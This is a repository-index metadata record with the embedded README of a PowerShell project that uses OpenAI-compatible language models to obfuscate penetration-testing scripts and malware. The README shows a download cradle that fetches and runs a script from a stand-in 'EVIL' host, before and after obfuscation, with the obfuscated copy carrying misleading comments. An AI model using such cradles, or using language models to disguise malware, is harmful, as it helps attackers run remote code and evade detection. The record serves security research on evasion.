{"id":22096409,"url":"https://github.com/hwvs/invoke-gptobfuscation","last_synced_at":"2025-07-24T22:31:57.364Z","repository":{"id":166666380,"uuid":"642174675","full_name":"hwvs/Invoke-GPTObfuscation","owner":"hwvs","description":"Powershell implementation of a novel technique. Invoke-GPTObfuscation is a PowerShell Obfuscator that utilizes OpenAI (and other APIs) to obfuscate your PowerShell penetration testing code, malware, or any other sensitive script.","archived":false,"fork":false,"pushed_at":"2023-12-05T02:58:16.000Z","size":33,"stargazers_count":49,"open_issues_count":0,"forks_count":6,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-04-01T17:58:05.980Z","etag":null,"topics":["exploit","exploitation-framework","malware-research","powershell","powershell-module","windows-desktop"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hwvs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-05-18T01:43:56.000Z","updated_at":"2025-02-14T17:11:36.000Z","dependencies_parsed_at":"2023-07-27T19:47:00.245Z","dependency_job_id":null,"html_url":"https://github.com/hwvs/Invoke-GPTObfuscation","commit_stats":null,"previous_names":["hwvs/invoke-gptobfuscation"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/hwvs/Invoke-GPTObfuscation","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hwvs%2FInvoke-GPTObfuscation","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hwvs%2FInvoke-GPTObfuscation/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hwvs%2FInvoke-GPTObfuscation/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hwvs%2FInvoke-GPTObfuscation/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hwvs","download_url":"https://codeload.github.com/hwvs/Invoke-GPTObfuscation/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hwvs%2FInvoke-GPTObfuscation/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":266913679,"owners_count":24005579,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-24T02:00:09.469Z","response_time":99,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","exploitation-framework","malware-research","powershell","powershell-module","windows-desktop"],"created_at":"2024-12-01T04:10:45.051Z","updated_at":"2025-07-24T22:31:57.057Z","avatar_url":"https://github.com/hwvs.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Invoke-GPTObfuscation\nInvoke-GPTObfuscation is a PowerShell Obfuscator that utilizes OpenAI or compatible text-completion models to obfuscate your PowerShell penetration testing code, malware, or any other sensitive script. **This code is intended for Educational \u0026 Research purposes only.**\n\nThis is mostly demonstrational, and will frequently create invalid code. You'll need to come up with a better prompt to get good results. If you make any improvements, please consider submitting a pull request!\n\nWith better prompt templates, or better models (GPT-4), this tool can achieve much more impressive results. I've found GPT-4 can perform impressive code mutations that completely change the structure of the code.\n\n**(TODO) Future Improvements:**\n- Convert variable names to placeholder-symbols via Regex to maintain across code (eg: $\u003cVAR1\u003e, $\u003cVAR2\u003e)\n- Validate syntax, optionally re-generate if there is a syntax error\n- Instead of building blocks line-by-line, try to build blocks by { context }\n- Add in options into the prompt that the model can try to replicate\n- Add support for other providers/API (Anthropic/Claude?)\n  \n---\n\n## Credits\n### Author: Hunter Watson\n### Original Repo: https://github.com/hwvs/Invoke-GPTObfuscation\n### License: Mozilla Public License 2.0\n\n---\n\n## Usage\n\nRun the CLI tool (in a powershell window): `./Invoke-GPTObfuscation.ps1`\n\nUse the module in your code\n```powershell\n# load the module however is easiest for you, eg:\n$module_path = $pwd.Path + \"/Invoke-GPTObfuscation.psm1\"\nInvoke-Expression (Get-Content $module_path -Raw)\n  \n#...\n\n$script_obfuscated = Invoke-GPTObfuscation -ScriptBlock $script -PromptTemplateFile $prompt_template_path -Verbose $true\n```\n\n---\n\n## Results \n\nBefore:\n```powershell\n$ie=New-Object -comobject InternetExplorer.Application;\n$ie.visible=$False;\n$ie.navigate('http://EVIL/evil.ps1');\nstart-sleep -s 5;\n$r=$ie.Document.body.innerHTML;\n$ie.quit();\nIEX $r\n```\n\nAfter:\n```powershell\n# generating Log files\n$Strawberry = New-Object -CoMObjEcT inTErnETeXPLOreR.Application;\n$strawberry.vISiblE = $fAlSe;\n$STRaWbeRRy.NAVigatE('HttP://evIl/evil.ps1');\nstArT-SlEEp -s 5;\n\n# Updating log directory path\n$r = $StrawberrY.DoCument.BoDy.InneRHTML;\n\n# Cleanup\n$strawBerRy.quiT();\n\n# Execute payload\nIeX $R\n```\n*(Note: This result was cherry-picked)*\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhwvs%2Finvoke-gptobfuscation","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhwvs%2Finvoke-gptobfuscation","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhwvs%2Finvoke-gptobfuscation/lists"}